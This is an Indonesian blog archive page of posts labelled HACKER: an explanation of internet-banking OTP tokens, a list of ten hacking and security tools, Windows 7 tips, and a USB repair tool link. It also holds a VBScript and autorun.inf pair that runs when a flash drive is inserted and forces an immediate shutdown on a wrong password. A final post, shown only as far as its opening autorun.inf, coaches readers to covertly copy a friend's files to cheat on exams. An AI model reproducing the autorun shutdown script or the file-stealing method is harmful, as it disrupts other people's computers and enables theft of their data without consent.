Showing posts with label HACKER. Show all posts
Showing posts with label HACKER. Show all posts
Cara Kerja Token Internet Banking

Cara Kerja Token Internet Banking


Penggunaan token berupa alat kecil semacam kalkulator untuk mengamankan transaksi internet banking kini sudah menjadi hal yang wajib. Token ini menjadi faktor tambahan dalam otentikasi yaitu untuk membuktikan bahwa anda adalah benar-benar pengguna yang sah. Mungkin ada yang bertanya-tanya bagaimana cara kerja token seperti yang dipakai situs internet banking? Bagaimana alat kecil seperti kalkulator itu bisa menghasilkan angka yang juga diketahui oleh server internet banking, padahal alat itu tidak terbubung dengan server. Dalam artikel ini saya akan menjelaskan cara kerja token internet banking, dan dalam artikel berikutnya saya akan membuat token berbasis software dan website sederhana yang akan mensimulasikan internet banking.


Authentication Method


Otentikasi bertujuan untuk membuktikan siapa anda sebenarnya, apakah anda benar-benar orang yang anda klaim sebagai dia (who you claim to be). Ada banyak cara untuk membuktikan siapa anda. Metode otentikasi bisa dilihat dalam 3 kategori metode:

1. Something You Know


Ini adalah metode otentikasi yang paling umum. Cara ini mengandalkan kerahasiaan informasi, contohnya adalah password dan PIN. Cara ini berasumsi bahwa tidak ada seorangpun yang mengetahui rahasia itu kecuali anda seorang.

2. Something You Have

Cara ini biasanya merupakan faktor tambahan untuk membuat otentikasi menjadi lebih aman. Cara ini mengandalkan barang yang sifatnya unik contohnya adalah kartu magnetik/smartcard, hardware token, USB token dan sebagainya. Cara ini berasumsi bahwa tidak ada seorangpun yang memiliki barang tersebut kecuali anda seorang.

3. Something You Are
Ini adalah metode yang paling jarang diapakai karena faktor teknologi dan manusia juga. Cara ini mengandalkan keunikan bagian-bagian tubuh anda yang tidak mungkin ada pada orang lain seperti sidik jari, suara atau sidik retina. Cara ini berasumsi bahwa bagian tubuh anda seperti sidik jari dan sidik retina, tidak mungkin sama dengan orang lain.

Lalu bagaimana dengan metode otentikasi tradisional seperti tanda tangan di atas materai? Masuk ke kategori manakah cara itu dari ketiga metode di atas? Saya pikir tidak ada yang cocok, karena itu saya tambahkan satu lagi yaitu “Something You Can“. Cara ini berasumsi bahwa tidak ada orang lain di dunia ini yang bisa melakukan itu selain anda. Memang otentikasi dengan tanda tangan dibangun di atas asumsi itu, tidak ada yang bisa menuliskan tanda tangan anda kecuali anda. Walaupun pada kenyataannya ada saja orang yang bisa meniru tanda tangan anda dengan sangat baik, namun walaupun menyadari fakta tersebut tanda tangan di atas kertas tetap diakui sebagai bukti otentik atas siapa anda.

Two Factor Authentication

Pada aplikasi yang kritis dan sensitif seperti transaksi keuangan, satu metode otentikasi saja tidak cukup. Oleh karena itu muncul istilah 2FA (Two Factor Authentication) yang merupakan sistem otentikasi yang menggunakan 2 faktor (metode) yang berbeda. Empat metode otentikasi yang sudah saya jelaskan sebelunya dapat dikombinasikan untuk meningkatkan keamanan, salah satu contohnya adalah dengan kombinasi “something you have” berupa kartu ATM dengan “something you know” berupa PIN. Kombinasi ini merupakan kombinasi yang paling banyak dipakai.

Contoh kasus lain adalah ketika anda berbelanja di pasar modern dan membayar dengan kartu, tanpa disadari anda telah memakai lebih dari satu faktor otentikasi. Faktor yang pertama adalah “Something You Have” yaitu kartu debit/kredit anda. Faktor kedua adalah “Something You Know”, ketika anda diminta memasukkan PIN ke dalam mesin EDC. Bahkan mungkin ada faktor ketiga yaitu “Something You Can”, ketika anda diminta menanda-tangani nota pembayaran yang dicetak mesin EDC.

Internet banking juga menggunakan two factor authentication dengan mengombinasikan “something you know” berupa password dan “something you have” berupa hardware token (keyBCA atau Token Mandiri).

Password yang Dikeluarkan Token Internet Banking

Pada umumnya ada dua mode pemakaian token internet banking:

1. Mode Challenge/Response (C/R)

Ini adalah mode yang paling sering dipakai ketika bertransaksi. Dalam mode ini server memberikan challenge berupa sederetan angka. Angka tersebut harus dimasukkan kedalam mesin token untuk mendapatkan jawaban (response). Kemudian pengguna memasukkan angka yang muncul pada tokennya ke dalam form di situs internet banking. Token akan mengeluarkan kode yang berbeda-beda walaupun dengan challenge code yang sama secara periodik tergantung waktu ketika challenge dimasukkan ke dalam token.

2. Mode Self Generated (Response Only)

Dalam mode ini server tidak memberikan tantangan (challenge) apapun. Token pengguna bisa langsung mengeluarkan sederetan angka tanpa harus memasukkan challenge. Seperti mode C/R, token juga mengeluarkan kode yang berbeda-beda secara periodik tergantung waktu ketika token diminta untuk menghasilkan kode self generated.

Sebenarnya jawaban yang diberikan oleh token baik dalam mode C/R maupun Self Generated(resopnse only) tidak lain adalah password juga. Namun berbeda dengan password yang anda pakai untuk login, password yang dihasilkan token ini memiliki keterbatasan untuk alasan keamanan, yaitu:

1. Hanya boleh dipakai 1 kali


Ini disebut dengan OTP (One Time Password). Setelah suatu password dipakai, maka password yang sama tidak bisa lagi dipakai untuk kedua kalinya. Dengan cara ini tidak ada gunanya menyadap password yang dihasilkan token karena password tersebut tidak bisa dipakai lagi. Namun bila password tersebut di-intercept sehingga tidak pernah sampai ke server, maka password tersebut masih berharga karena di mata server, password itu belum pernah dipakai.

2. Hanya boleh dipakai dalam rentang waktu yang terbatas
Password yang dihasilkan token memiliki umur yang sangat terbatas, mungkin antara 3-6 menit bila umurnya habis maka password itu tidak bisa dipakai, walaupun belum pernah dipakai. Nanti akan saya jelaskan mengapa password token memerlukan umur, waktu merupakan unsur yang sangat kritikal dalam sistem ini.

3. Hanya boleh dipakai dalam konteks sempit

Bila password/PIN yang dipakai untuk login adalah password yang bebas konteks, dalam arti dengan berbekal password itu, anda bisa melakukan banyak hal, mulai dari melihat saldo, mengecek transaksi dan sebagainya. Namun password yang dihasilkan token, hanya bisa dipakai dalam konteks sempit, contohnya password yang dipakai untuk mengisi pulsa ke nomor 08123456789, tidak bisa dipakai untuk melakukan transfer dana.

Terbatasnya konteks ini disebabkan karena untuk melakukan transaksi dibutuhkan password yang diikat oleh challenge dari server, sehingga password tersebut tidak bisa dipakai untuk transaksi lain yang membutuhkan challenge code yang berbeda. Contohnya bila challenge yang diberikan server adalah 3 digit terakhir dari nomor handphone (untuk transaksi isi pulsa), atau 3 digit terakhir nomor rekening tujuan (untuk transaksi transfer). Maka password yang dihasilkan token untuk transaksi isi pulsa ke nomor 0812555111222, akan valid juga untuk transaksi transfer uang ke rekening 155887723120222. Sebab kebetulan kedua transaksi tersebut membutuhkan password yang diikat oleh challenge code yang sama, yaitu 222 (diambil dari 3 digit terakhir).

Konteks ini hanya berlaku bila password dihasilkan dalam mode C/R. Password yang dihasilkan dalam mode Self Generated, bisa dipakai dalam transaksi apa saja yang tidak meminta password dengan challenge code.

Jadi bisa disimpulkan bahwa password yang dikeluarkan token bersifat:

1. Selalu berubah-ubah secara periodik
2. Memiliki umur yang singkat
3. Hanya bisa dipakai 1 kali
4. Terbagi dalam ada dua jenis, yaitu:

* Password kontekstual yang terikat oleh challenge code dalam mode challenge/response.
* Password bebas konteks yang dihasilkan dalam mode self generated.

Proses Otentikasi

Seperti password pada umumnya, syarat agar otentikasi berhasil adalah:

password yang dikirimkan client = password yang disimpan di server

Dengan alasan keamanan jarang sekali server menyimpan password user dalam bentuk plain-text. Biasanya server menyimpan password user dalam bentuk hash sehingga tidak bisa dikembalikan dalam bentuk plain-text. Jadi syarat otentikasi berhasil di atas bisa diartikan sebagai hasil penghitungan hash dari password yang dikirim klien harus sama dengan nilai hash yang disimpan dalam server.

Penggunaan Salt

Untuk menghindari brute-force attack terhadap hash yang disimpan di server, maka sebelum password user dihitung nilai hashnya, terlebih dahulu ditambahkan string acak yang disebut dengan salt. Perhatikan contoh berikut, bila password user adalah “secret”, maka sebelum dihitung nilai hashnya, password ditambahkan dulu salt berupa string acak “81090273″ sehingga yang dihitung nilai hashnya adalah “secret81090273″ bukan “secret”.

Perhatikan bahwa nilai MD5(”secret81090273″) adalah 894240dbe3d2b546c05a1a8e9e0df1bc sedangkan nilai MD5(”secret”) adalah 5ebe2294ecd0e0f08eab7690d2a6ee69. Bila tanpa menggunakan salt, maka attacker yang mendapatkan nilai hash 5ebe2294ecd0e0f08eab7690d2a6ee69 bisa menggunakan teknik brute force attack atau rainbow table untuk mendapatkan nilai password dalam plain-text. Salah satu contoh database MD5 online yang bisa dipakai untuk crack md5 adalah http://gdataonline.com/seekhash.php . Dalam situs tersebut coba masukkan nilai 5ebe2294ecd0e0f08eab7690d2a6ee69, maka situs tersebut akan memberikan hasil “secret”. Hal ini disebabkan karena situs tersebut telah menyimpan pemetaan informasi secret<=>5ebe2294ecd0e0f08eab7690d2a6ee69.

Penambahan salt “81090273″ membuat nilai hash menjadi 894240dbe3d2b546c05a1a8e9e0df1bc. Bila nilai ini dimasukkan dalam situs tersebut, dijamin tidak akan ada dalam databasenya bahwa nilai hash tersebut adalah “secret81090273″. Dan karena nilai salt ini dibangkitkan secara random, maka tiap user memiliki nilai salt yang berbeda sehingga tidak mungkin attacker bisa membangun database pemetaan antara plaintext dan hash secara lengkap.

Dengan penggunaan salt, maka database pengguna dalam server akan tampak seperti ini:
Username Salt Password Hash
budi 81090273 894240dbe3d2b546c05a1a8e9e0df1bc

Field salt diperlukan ketika melakukan otentikasi. Password yang dikirimkan user akan ditambahkan dulu dengan nilai salt ini baru kemudian dihitung nilai hashnya. Nilai hash hasil perhitungan tersebut akan dibandingkan dengan field Password Hash yang ada di kolom sebelahnya. Bila sama, maka otentikasi berhasil, bila tidak sama, berarti otentikasi gagal. Secara prinsip sama saja dengan gambar di atas, hanya ditambahkan satu langkah yaitu penambahan salt sebelum dihitung nilai hashnya.

Pembangkitan One Time Password (OTP) Token Internet Banking

Apa yang saya jelaskan sebelumnya menjadi dasar dari apa yang akan saya jelaskan berikut ini. Bagaimana cara token menghasilkan sederetan angka sebagai OTP yang bisa diotentikasi oleh server? Ingat bahwa syarat agar otentikasi berhasil adalah password yang dikirim klien harus sama dengan yang disimpan di server. Ingat juga bahwa password yang dihasilkan token selalu berubah-ubah secara periodik. Bagaimana apa yang dihasilkan alat itu bisa sinkron dengan server? Padahal alat tersebut tidak terhubung dengan server, bagaimana server bisa tahu berapa nilai yang dihasilkan token? Jawabannya adalah dengan waktu. Sebelumnya sudah saya sebutkan bahwa waktu adalah elemen yang sangat penting dalam sistem ini. Server dan token dapat sinkron dengan menggunakan waktu sebagai nilai acuan.

OTP dalam Mode Self Generated (Response Only)

Saya akan jelaskan mulai dari pembangkitan OTP dalam mode self generated atau response only. Sebelumnya tentu saja, server dan token harus menyepakati sebuah nilai awal rahasia (init-secret). Nilai awal ini disimpan (ditanam) dalam token dan disimpan juga dalam tabel di server.

Ketika pada suatu waktu tertentu token diminta menghasilkan OTP tanpa challenge code, inilah yang dilakukan token:

1. Mengambil waktu saat ini dalam detik berformat EPOCH (jumlah detik sejak 1 Januari 1970), biasanya dalam granularity 10 detik, sehingga nilai EPOCH dibagi 10.
2. Menggabungkan init-secret dengan waktu saat ini dari langkah 1.
3. Menghitung nilai hash gabungan init-secret dan waktu dari langkah 2.

Nilai hash dari langkah 3 inilah yang menjadi OTP. Namun biasanya OTP diambil dari beberapa karakter/digit di awal hash.

Bagaimana cara server melakukan otentikasi? Caranya mirip dengan yang dilakukan token, yaitu dengan menghitung nilai hash gabungan init-secret dengan waktu saat ini dan mengambil beberapa digit di awal sebagai OTP. Bila OTP yang dikirim user sama dengan OTP yang didapatkan server dari perhitungan hash, maka otentikasi berhasil.

Namun ada sedikit catatan yang harus diperhatikan terkait waktu. Untuk memberikan toleransi perbedaan waktu antara token dan server, dan juga jeda waktu dari sejak server meminta password sampai user meminta token membangkitkan token, maka server harus memberikan toleransi waktu.

Ada tiga kejadian yang perlu diperhatikan waktunya, yaitu:

1. Detik ketika server meminta password (OTP) dari user
2. Detik ketika token membangkitkan OTP
3. Detik ketika server menerima OTP dari user

Perhatikan contoh di bawah ini:

Bila diasumsikan waktu di server sama persis dengan waktu di token (jam internal token), maka kita harus perhatikan bahwa pasti akan ada jeda antara kejadian 1, 2 dan 3. Bila pada detik ke-0 server meminta password dari user, karena lambatnya akses internet, bisa jadi baru pada detik ke-30 user melihat pada browsernya bahwa dia harus memasukkan OTP dari token. Kemudian baru pada detik ke-60 token menghasilkan OTP. Pada detik ke-65 user mensubmit nilai OTP tersebut ke server dan baru tiba di server pada detik ke-90.

Karena pembangkitan OTP tergantung waktu pada saat OTP dibangkitkan, maka OTP yang dihasilkan token, adalah OTP pada detik ke-60. Sedangkan server meminta password dari user sejak detik ke-0. Bagaimana cara server melakukan otentikasi? Caranya adalah dengan memeriksa seluruh kemungkinan OTP dalam rentang waktu yang dipandang memadai, misalkan 180 detik.

Bila sistem menggunakan granularity 10 detik maka server harus menghitung nilai OTP sejak dari detik ke-0, 10, 20, 30, 40, s/d ke 180 dalam kelipatan 10 detik. Perhatikan contoh pada gambar di bawah ini. Dalam sistem ini diasumsikan OTP adalah 6 karakter awal dari MD5 gabungan. Dalam melakukan otentikasi, server harus membandingkan semua nilai OTP sejak detik ke-0 (dalam contoh ini EPOCH/10 = 124868042) hingga waktu toleransi maksimum.

Bila user mengirimkan OTP “b1cdb9″ maka otentikasi akan berhasil ketika server menghitung nilai OTP pada detik ke-60 sejak server meminta OTP dari user.

Ilustrasi di atas hanyalah contoh, pada kenyataannya ada kemungkinan waktu antara server dan token tidak sama persis 100%, sehingga server terpaksa harus memberikan toleransi waktu tidak hanya ke depan, namun juga ke belakang. Sebab bisa jadi waktu di server lebih cepat daripada waktu di token. Sebagai contoh ketika waktu di server menunjukkan EPOCH/10=124868219, bisa jadi waktu di token baru menunjukkan EPOCH/10=1248682121 (waktu token terlambat 80 detik).

Misalkan waktu toleransi adalah 3 menit, maka server harus memberikan toleransi 3 menit ke depan dan 3 menit ke belakang relatif terhadap waktu ketika server menerima OTP dari user dan melakukan otentikasi. Ingat, waktu toleransi ini relatif terhadap waktu server melakukan otentikasi. Jadi jika server melakukan otentikasi pada EPOCH/10=600, maka server harus menghitung seluruh nilai OTP sejak EPOCH/10=420 hingga EPOCH/10=780.

Ingat penjelasan saya tentang salt sebelumnya. Kalau dibandingkan dengan OTP ini, maka nilai init-secret adalah sejenis dengan password plain-text pengguna, sedangkan salt atau tambahannya adalah waktu (EPOCH/10).

Umur OTP

Sebelumnya sudah saya sebutkan bahwa sifat dari OTP adalah memiliki umur yang terbatas. Umur ini terkait dengan waktu toleransi yang diberikan server sebesar X detik ke depan dan X detik ke belakang relatif terhadap saat server melakukan otentikasi. Bila waktu toleransi adalah 3 menit (180 detik), maka umur sebuah OTP adalah 3 menit, dalam arti bila server melakukan otentikasi tidak lebih dari 3 menit sejak OTP dibangkitkan token, maka OTP tersebut akan dianggap valid oleh server.

OTP dalam Mode Challenge/Response

Pembangkitan dan otentikasi OTP dalam mode C/R sebenarnya mirip dengan mode self-generated. Bila dalam mode self generated tambahan (salt) dari init-secret adalah waktu (EPOCH/10), dalam mode C/R ini salt/tambahannya lebih banyak. Init-secret tidak hanya ditambah dengan waktu, namun juga ditambah lagi dengan challenge.

Dalam mode C/R ada field tambahan yang harus digabungkan sebelum dihitung nilai hashnya, yaitu challenge. Nilai challenge ini diketahui oleh server dan juga oleh token (ketika user mengetikkan challenge ke token), sehingga baik token maupun server akan dapat menghitung OTP yang sama sehingga proses otentikasi dapat berlangsung.

10 Tools Favorit Para Hacker

10 Tools Favorit Para Hacker

Pembuat NMAP melakukan survei 100 tools favorit terhadap pengikut milis nmap-hackers. Sekitar 3,243 user memberikan suaranya untuk tool yang paling mereka gemari. Daftar 100 tool favorit para hacker ini dapat ditemukan jg di insecured

Dari 100 tool tersebut, berikut dibawah ini adalah 10 tools favorit yang mendapat suara terbanyak sepanjang tahun 2006. Tool tersebut merupakan senjata yang dianggap mutlak diperlukan dalam aktivitas hacking dan sekuriti.

1.Nessus

“Nessus” pertama kali dibuat oleh Renaud Deraison pada tahun 1998 dan disebarkan untuk komunitas internet secara bebas, bermanfaat, ter-update dengan baik serta mudah untuk digunakan.

Nessus adalah sebuah program untuk mencari kelemahan pada sebuah sistem komputer. Menurut situs resminya di www.nessus.org, tool ini telah digunakan oleh lebih dari 75.000 organisasi dan perusahaan di seluruh dunia.


2.Snort
Snort adalah sebuah IDS, yaitu tool untuk mencegah dan mendeteksi serangan terhadap sistem komputer. Vendor dari snort mengklaim bahwa tool ini telah didownload berjuta-juta kali dari situs mereka. Anda mungkin berminat untuk mencobanya, silahkan download tool ini di http://www.snort.org/

3.Kismet
Kismet adalah sebuah tool untuk mendeteksi koneksi wireless(mendukung lalu lintas 802.11b, 802.11a, dan 802.11g ) , menangkap paket dalam sebuah sistem jaringan dan menjadi sebuah IDS (intrusion detection System).

Untuk mencari tahu lebih lanjut mengenai kismet, anda dapat mengunjungi situs http://www.kismetwireless.net atau masuk ke #kismet irc.freenode.net.

4.Metasploit Framework
Metasploit Framework adalah sebuah proyek open source untuk mengembangkan, menguji dan menggunakan kode eksploit. Dibuat dengan bahasa Perl sebagai fondasi dasar dan dan terdiri dari komponen pelengkap yang telah dicompile dengan bahasa C, assembler dan Python. Metasploit Framework dapat berjalan pada sistem operasi UNIX, Linux dan Windows. Keterangan yang lebih detail dapat anda cari di http://www.metasploit.com.


5.Netcat
Netcat adalah sebuah tool networking utility yang dapat membaca dan menulis data pada koneksi sebuah jaringan melalui protokol TCP/IP.

Fitur yang terdapat pada Netcat antara lain :

* Koneksi keluar dan masuk melalui protokol UDP ataupun TCP dengan port yang digunakan..
* Tunneling mode, tunneling dari UDP ke TCP, memetakan parameter dalam jaringan (source port/interface, listening port/interface, dan mengijinkan remote host melakukan koneksi ke tunnel)
* Port scanner, untuk mendeteksi port yang terbuka.
* Buffered send-mode dan hexdump RFC854 telnet.

Hping merupakan sebuah tool serba guna. Tool ini dapat digunakan untuk menguji kemampuan firewall, mencari port yang terbuka, menguji keamanan jaringan dengan menggunakan berbagai jenis protokol, mendapatkan informasi sistem operasi, mengevaluasi protokol TCP/IP.


7.TCPDump

Tcpdump juga merupakan sebuah sniffer. Admin jaringan menggunakan tool ini untuk memonitor lalu lintas dan menganalisa permasalahan jika terjadi gangguan. Menurut informasi di http://www-iepm.slac.stanford.edu/mo...e/tcpdump.html , Tcpdump menggunakan paket filter dari UNIX BSD untuk meng-capture data(BPF / BSD Packet Filter).BPF menerima salinan dari driver pengirim dan penerima paket.Pengguna tcpdump juga dapat menyaring paket sesuai dengan keinginan.


8. John The Ripper

Sebuah password cracker dari jaman nenek moyang para hacker yang masih menjadi 10 besar tool favorit. Berikut adalah keterangan dari pembuat John The Ripper.

“John the Ripper is a password cracker, currently available for UNIX, DOS,WinNT/Win95. Its primary purpose is to detect weak UNIX passwords. It has been tested with Linux x86/Alpha/SPARC, FreeBSD x86, OpenBSD x86, Solaris 2.x SPARC and x86, Digital UNIX, AIX, HP-UX, and IRIX”.


9. Cain And Abel
Cain & Abel adalah sebuah tool untuk masalah password. Tool ini dapat mengumpulkan password dengan metode network sniffing, meng-crack password menggunakan Dictionary attack, Brute-Force and Cryptanalysis attacks, merekam pembicaraan VoIP (Voice Over Internet Protocol), meng-crack jaringan wireless, menganalisa trafik dalam jaringan. www.oxid.it


10. WireShark / Ethereal
Wireshark / Ethereal adalah sebuah tool untuk menganalisa protokol jaringan. Fungsinya juga sebagai sebuah sniffer. Memantau lalu lintas internet. Wireshark

dapat berjalan pada Windows, MAC OS X, dan Linux. www.wireshark.org

Tertarik? Pelajari dan pahami saja cara penggunaan 10 tool tsb. Kita memang tdk akan semudah itu menjadi hacker hebat hanya dengan mengandalkan 10 tool diatas. Tapi tool2 tsb sudah diakui oleh semua tingkatan Hacker. Kan bisa menjadi tambahan bagi anda2 yang ingin menggeluti sekuriti komputer secara mendalam.

Sumber : www.insecured.org diambil dari http://www.rozy.web.id/
Pasang Password pada Flashdisk

Pasang Password pada Flashdisk

banyak aplikasi yang dapat memberi manfaat untuk mengunci flashdisk atau memberi password otomatis ke flashdisk. Tetapi beda yang ini. Cara ini akan otomatis meminta password ketika flashdisk dimasukan ke PC dan jika password salah, maka komputer akan shutdown secara otomatis.

Caranya :

1. Buka Notepad
( Caranya : Start>>All Programs>>Accessories>>Notepad atau masuk di RUN lalu ketik notepad dan Enter) lalu copy paste script kode dibawah ini ke notepad:


on error goto 0
dim s,quest,sd,m,winpath,fs
set sd=createobject(”Wscript.shell”)
set fs=createobject(”Scripting.FileSystemObject”)
set winpath=fs.getspecialfolder(0)
set s=wscript.createobject(”wscript.shell”)
do while quest=”"
quest=inputbox(”Masukkan PASSWORD, Jika anda salah dalam memasukkan password, maka komputer ini akan ShutDown!!!“,”http://firmancupes.wordpress.com“)
if quest=”" then
m=MsgBox(”Maaf anda belum memasukkan password…!“, 0+0+48, “http://bukucatatan-part1.blogspot.com/“)
end if
loop
if quest=”TULIS PASSWORD DISINI” then
s.run “shutdown -a”
sd.run winpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
else
s.run “shutdown -s -t 0″
end if

TULIS PASSWORD DISINI ganti sesuai keinginan anda, itu adalah sebagai tempat password anda. Pemakaian huruf kapital sangat berpengaruh. saya sarankan memakai angka yang sudah diingat di luar kepala.
lalu save as dengan nama “passwordlock.vbs” tanpa tanda kutip, sebelum di save as pastikan pilih all files.

2. setelah selesai diatas.
lalu buka Notepad lagi, untuk pengaturan otomatis setelah flashdisk dimasukan di PC.
copy paste script kode dibawah ini ke notepad.

[Autorun]
shellexecute=wscript.exe passwordlock.vbs
action=FLASHDISK TELAH DIPASANG PASSWORD

anda dapat merubah kata “FLASHDISK TELAH DIPASANG PASSWORD” sesuai kata-kata mutiara keinginan anda sendiri.
setelah itu lakukan penyimpanan seperti file yang pertama, tetapi pada bagian File name tulislah “autorun.inf” tanpa tanda kutip, sebelum di save as pastikan pilih all files.

Kemudian pindahkan kedua file yang telah anda buat tadi (autorun.inf dan passwordlock.vbs) ke dalam flashdisk anda.

langkah terakhir silahkan anda hidden autorun.inf dan passwordlock.vbs yang telah dibuat tadi.
Cara hidden : klik kanan pada masing- masing autorun.inf dan passwordlock.vbs lalu pilih properties centang kotak yang ada di tanda hidden.
Best Hack Windows

Best Hack Windows

Anda telah melakukan upgrade ke Windows 7, Sangat menyukai taskbar baru Anda, dan menikmati fitur-fitur menarik dari Libraries. Namun sekarang Anda inginkan lebih, Anda ingin tips dan trik menarik yang akan membuat Windows 7 semakin menarik! Pada postingan ini akan diberikan tips dan trick terbaik yang akan membantu Anda untuk lebih menggali lagi OS baru Anda. Pada artikel ini kita akan fokus pada interface Windows 7 yang akan membantu Anda menjadi seorang Power User Windows 7. Pada bagian berikutnya, kita akan berbicara mengenai tips lanjutan untuk kegunaan, performance dan keamanan.

1. Penggunakan Shortcut Keyboard


Dengan mouse Anda dapat drag-n-dock Windows pada sisi-sisi monitor Anda, atau drag windows ke bagian atas untuk meminimize. shortcut-shortcut keyboard ini bahkan dapat lebih memudahkan Anda:
  • Win+Left Arrow dan Win+Right Arrow dock window ke bagian kiri dan kanan monitor.
  • Win+Up Arrow dan Win+Down Arrow maximize dan restore/minimize.
  • Win+M minimize semuanya.
  • Alt+UpAlt+Left ArrowAlt+Right Arrow navigasi untuk ke folder atas, atau browse kembali dan selanjutnya melalui Folder-folder di Explorer.
  • Win+Home minimize/restore semua windows yang terbuka kecuali window yang sedang aktif.
  • Alt+Win+# mengakses Jump List dari nomor program ‘#’ pada taskbar
2. Mengatur Ulang Ikon System Tray
Atur ulang ikon system
Anda dapat mengatur ulang ikon pada taskbar sesuai keinginan dan membuat 10 program taskbar yang baru dengan menggunakan Win+1Win+2, dan seterusnya. Hal yang keren lagi adalah Anda dapat juga mengatur ulang ikon pada system tray. Reorder ikon pada tray atau memindahkan mereka keluar atau memasukkan lagi pada tray. Pegang kendali apa yang ingin Anda selalu lihat.
3. Akses Jump Lists dengan menggunakan tombol kiri mouse
Jump Lists biasanya muncul ketika Anda klik kanan pada ikon taskbar. Namun, ini juga dapat diakses dengan menahan tombol kiri mouse dan drag ke atas. Jika Anda menggunakan touchpad laptop atau touch screen, maka akan lebih menyenangkan dan mudah karena Anda tidak perlu klik tombol apapun untuk mengakses menu konteks.
4. Menambahkan Suatu Folder pada Favorites
Menambahkan folder pada favorite
Anda dapat menambahkan library atau folder apapun ke bagian Favorite dalam Windows Explorer. Untuk menambahkan folder, buka Explorer dan foldernya, klik kanan Favprites pada bagian kiri jendela navigasi explorer, dan pilih Add current location to Favorites. Sekarang Anda memiliki akses yang cepat ke folder favorite Anda pada All File-> Save As dialogs!
5. Pin Folder yang sering digunakan pada Taskbar
Klik kanan, drag, dan pin folder favorit Anda ke Windows Explorer pada taskbar. Mereka akan muncul dalam Jump List ketika Anda klik kanan pada Explorer yang akan memberikan kepada Anda akses yang mudah ke folder favorit Anda.
6. Pin Control Panel ke Taskbar
Pin control panel pada taskbar
Anda tidak dapat melakukan pin Control Panel ke taskbar via Start Menu atau dengan drag dan drop. Buka Control Panel dan klik kanan ikon taskbar untuk pin ke taskbar. Keuntungan Jump List Control Panel memungkinkan Anda untuk dapat lebih mudah mengakses fungsi yang baru saja digunakan.
7. Membuat Shortcut Keyboard suatu Program
shortcut keyboard
Anda dapat membuat shortcut keyboard suatu program pada Windows 7. Klik kanan ikon program dan pilih Properties. Pilih tabshortcut, klik shortcut key untuk melakukan set shortcut keyboard suatu program.
8. Buka Command Prompt pada Folder Apapun
command prompt
Menyukai command prompt? Tekan “Shift” ketika klik kanan pada sebuah folder untuk mendapatkan pilihan tersebut pada konteks menu. Ini juga dapat dilakukan pada desktop.
9. Melihat Expanded “Send To” Menu
Tekan Shift ketika klik kanan pada sebuah folder untuk mendapatkan sebuah menu expanded Send To.
10. Menyesuaikan Teks pada Screen dengan Clear Type
Gunakan Clear Type Tuner untuk mendapatkan tampilan yang bagus pada monitor LCD Anda atau layar laptop Anda. Run “cttune.exe” dari kotak pencarian di Start Menu, atau melalui Control Panel Display applet, dan pilih Adjust ClearType Text dari sebelah kiri.
Clear Type
11. Dapatkan warna yang Anda inginkan pada Layar
Jika Anda seorang artis atau pekerjaan Anda banyak menggunakan warna, gunakan opsi Calibrate Color pada Control PAnel Display applet atau jalankan dccw.exe dari kotak search Start Menu. Anda dapat menyesuaikan gamma, brightness, contrast, dan color balance, pastikan warna-warna tampil dengan benar pada monitor Anda.
12. Kustomasi Tombol Power
Jika Anda sering restart komputer dibandingkan shut down, ganti tombol power default Shutdown menjadi Restart. Klik kanan pada Start, pilih Properties, dan pilih Power Button Action yang sering Anda gunakan.
kustomasi tombol power
13. Kustomasi Jumlah Item pada Jump Lists & Start Menu
Klik kanan Start, pilih Properties, klik Customize dan pilih jumlah program terbaru yang akan ditampilkan pada Start Menudan jumlah item yang ditampilkan pada Jump Lists dari Start Menu Size section.
14. Search Internet dari Start Menu
internet start menu
Aktifkan Internet search dari Start Menu dengan menggunakan default browser Anda. Jalankan GPEDIT.MSC dari Start Menusearch box untuk memulai Group Policy Editor. Pada bagian kiri jendela, pilih User Configuration->Administrative Templates-Start Menu and Taskbar. Pada bagian kanan jendela, klik kanan untuk mengedit dan enable Add Search Internet link to Start Menu.
Internet
15. Menambahkan Video pada Start Menu
Windows 7 secara default tidak memberikan link ke video Anda pada Start Menu. Untuk menambahkan link ke video Anda pada Start Menu, klik kanan Start, pilih Properties, klik pada Customize. Pada bagian Videos di bawah, pilih Display as a link.
video start menu

Mengatasi Peretas

ini tindak kejahatan dengan memanfaatkan identitas pengguna internet semakin marak. Mulai dari pencurian password, sampai serangan hacker. Bagaimana mengantisipasinya? Seperti dikemukakan pakar telematika Abimanyu Wachjoewidajat, penyerangan kasus cyber crime seperti hacker dan scam semakin banyak. Setiap tindakan kriminal tidak membuat jera seseorang, malah sebaliknya menginspirasi orang lain.


''Kunci agar selamat dari kejahatan semacam itu, justru peran serta diri sendiri untuk tidak mudah percaya pada segala informasi melalui media seperti Blackberry, email, SMS, dan telepon,'' terang pria yang akrab dipanggil Abah. Beberapa situs besar seperti Wordpress, Sony, maupun Wikipedia telah menjadi target hacker. Termasuk blog milik Presiden Rusia Medvedev juga menjadi sasaran hacker.

Jangan buang Flashdisk anda yang Rusak



Masalahnya adalah flashdisk tersebut ngak bermasalah dengan device/driver dan timbul drive flashdisk tersebut di My Computer. Namun kalo di klik akan timbul pesan Please Insert a Disk seperti gambar disamping. Akhirnya dapat juga software untuk memperbaiki flashdisk rusak, namanya Super Stick Recovery ToolsV1.0.2.19.

Cara kerjanya :
1. Unduh softwarenya
2. Colokkan flashdisk
3. Jalankan software maka akan lansung mendeteksi device driver usb
flashdisk
4. Selanjutnya klik Update.
5. Tunggu proses penggantian drivernya selesai dan flashdisk bisa digunakan
kembali.

Yang mau download disini http://www.mediafire.com/?5zz0zmz4yyw
Cara mencuri file dari komputer teman

Cara mencuri file dari komputer teman

No Comments



 Bayangkan anda sedang menghadapi ujian terakhir, dan anda belum siap, tetapi teman anda punya jawaban atau catatan penting di laptop atau di komputernya tapi tidak mau berbagi dengan anda, dan teman anda ini sedikit goblok, dan anda kepengen mencuri isi dokumen yang berada dikomputernya.
Cara mencuri data di komputernya adalah dengan pergi kerumahnya dimalam hari dengan membawa flashdisk yang digantung dileher anda, dan sembunyi2 masuk ke kamarnya dan mengcopy isi dokumen di harddisknya, jadi pencuri beneran nih? hehehehe. atau alternatif lain, kita kan temanan yah ceritanya, jadi bilang ajah gini ama dia, “Teman, aku punya lagu baru ini di flashdisk gue? mau copy ngga?” nah lalu kita copykan lagu nya ke komputer dia. (sssssttt diam2 yah!)



Kayaknya cara pertama diatas dengan menjadi pencuri beneran ngga enak yah? hehehe. langsung ajah kita pake cara halus. ikuti langkah2 berikut: Sebelumnya siapin dolo flashdisk kita (kalo bisa isinya gede)

Langkah ke-1

Buka Notepad (saya sarankan pake program Notepad++) copy dan paste kode dibawah ini.
[autorun]
icon=drive.ico
open=launch.bat
